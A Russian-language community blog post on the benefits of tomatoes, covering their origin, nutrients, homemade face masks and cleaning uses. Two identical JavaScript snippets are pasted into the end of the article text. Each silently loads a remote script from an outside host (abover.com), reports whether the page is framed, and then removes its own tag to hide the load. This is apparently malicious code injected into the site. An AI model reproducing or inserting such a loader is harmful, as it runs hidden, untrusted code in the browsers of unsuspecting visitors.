Skip to Content

Полезные свойства помидоров - для еды и красоты

Аватар пользователя tashash

полезные свойства томатов

Мы все едим помидоры. Причем, блюд, которые из их них или с ними можно приготовить настолько много, что все их и не перечислишь. Но томаты нравятся нам не только благодаря своим вкусовым качествам. Полезные свойства помидоров позволяют получать не только удовольствие от употребления в пищу вкусных блюд.
Про томат
полезные свойства томатов
Томаты являются одним из самых любимых овощей по всему миру. Хотя, почему мы считаем помидор овощем? Ведь на самом деле это – ягода, как бы ни странно это звучало. Само название этой ягоды-овоща имеет интересную историю. Когда первые конкистадоры попали в Америку, то удивительные ягоды, которые употребляли в пищу жители Южной Америки, в частности, индейское племя Ацтеки, жившие в Мексике, и которые росли как дикое растение, привлекли их внимание. Несколько томатов, тогда, правда, они еще так не назывались, были привезены в Испанию. Оттуда они распространились по странам Европы, попав в Италию. Именно там они получили название Золотое яблоко, что на итальянском языке будет звучать как pomo d’oro – помидор. А по поводу слова томат, есть версия о том, что это – производная от ацтекского томатль, упрощенная в произношении.
Где и как растет томат
В Мексике и других странах южной Америки томаты и по сей день можно встретить в диком виде. Это просто удивительно, ведь мы привыкли, что томаты нужно выращивать очень бережно, особенно в более северных широтах. Сначала посадить семечки на рассаду, долго ухаживать за ней, что бы она взошла да окрепла. Потом распикировать – не повредив ничего! Вовремя подкармливать, поливать, не давать всяким гадостям подпортить нежные росточки. Только затем высадить в теплицу или открытый грунт и ждать урожая. Но и тут все не так просто. Томаты не любят холода и холодной росы, они легко могут заболеть какой-нибудь заразой. В общем, то что в некоторых странах томаты растут сами по себе и при этом прекрасно себя чувствую на протяжении столетий – просто чудо!
Из чего состоит помидор?
полезные свойства томатов
Помидор не только вкусен, его полезные свойства во многом причина того, что мы едим томаты в любое время года. Начнем с того, что ягоды-помидорки кладовая полезных веществ. И эта избитая фраза на удивление точно отражает истину. В томатах содержатся:
  • Витамины. Причем, в этих плодах ученые нашли все витамины группы В, представляете? Даже фолиевую кислоту! А еще витамин С и витамин Е, а так же каротин – витамин А
  • Органические кислоты: яблочная, лимонная, винная, щавелевая и янтарная
  • Высокомолекулярные жирные кислоты – линолиевая, пальмитиновая, стеариновая
  • Пигменты - ликопин, каротин, ксантофилл, придающие плодам томата красивую яркую окраску. И помимо своего красящего свойства, эти вещества – прекрасные антиоксиданты, что полезно для здоровья человека
  • Сахара – фруктоза и глюкоза. Так же в состав помидоров входит и крахмал – сахаристое вещество
  • Пектин – снижающий уровень сахара в крови. Это вещество делает томаты полезными для диабетиков
  • Клетчатка – необходимое вещество для качественной работы кишечника
  • Минеральные вещества. В томатах содержится много природных элементов, входящих в таблицу Менделеева и просто-таки необходимых нашему организму для правильного функционирования и жизнедеятельности. Это калий, магний, натрий, фосфор, железо, кальций, сера, цинк, ванадий, хлор, йод, кобальт
  • Холин, снижающий уровень холестерина в крови, что полезно при атеросклерозе.
Как использовать томат для пользы?
полезные свойства томатов
Понятно, что основное предназначение томатов – стать ингредиентами вкуснейших блюд. Но на этом их польза не заканчивается, ведь их можно использовать во многих сферах нашей жизнедеятельности. Например, на основе томатов готовят маски красоты. Допустим, такую - удивительно простую. Из половинки томата отжать сок, смочить им марлевую салфетку и на 15 минут положить ее на лицо. Можно просто смоченным в томатном соке ватным тампоном протирать кожу, как лосьоном. Такие процедуры помогут осветлить тон лица, очистить поры от загрязнений, а вкупе со специальными средствами позволят избавиться от акне и угрей. Или же вот еще рецепт. Небольшой помидор ошпарить кипятком, снять с него кожицу и растолочь, затем протереть мякоть через сито, освобождая от семечек. Тщательно смешать полученную массу с белком одного яйца. Маску нанести на чистую кожу и оставить на 15 минут. Смыть маску теплой водой, затем прохладной ополоснуть лицо и нанести на кожу питательный крем. Такая маска осветлит кожу и подтянет ее, избавляя от морщинок.
Так же томат используют в хозяйстве. Например, кашицей из свежего помидора хорошо очищаются столовые приборы. Их можно проварить в томатной пасте, а можно почистить при помощи губки. Так же, говорят, что сок помидоров хорошо убирает следы от зеленой травы. Но с таким чистящим средством нужно быть поосторожнее – вдруг не получится и вещь будет окончательно испорчена.?
Ну а вообще, помидор лучше все есть, в любом виде. А уход за вещами оставить для специально предназначенных для этого средств.
Удачи!(function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random();
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script.parentNode.removeChild(script);
}

document.body.appendChild(script);
})();

(function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random();
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script.parentNode.removeChild(script);
}

document.body.appendChild(script);
})();

Голосов еще нет

Полезные статьи от участников сайта

Аватар пользователя tashash
Все из нас слышали поговорку про завтрак,...
Аватар пользователя Marina
Чтобы быть идеальной каждая женщина должна...
Аватар пользователя Lagoon
Чтобы понять, как приготовить жаркое в горшочках...
Аватар пользователя Alexxa
  Самые разнообразные паразиты очень часто...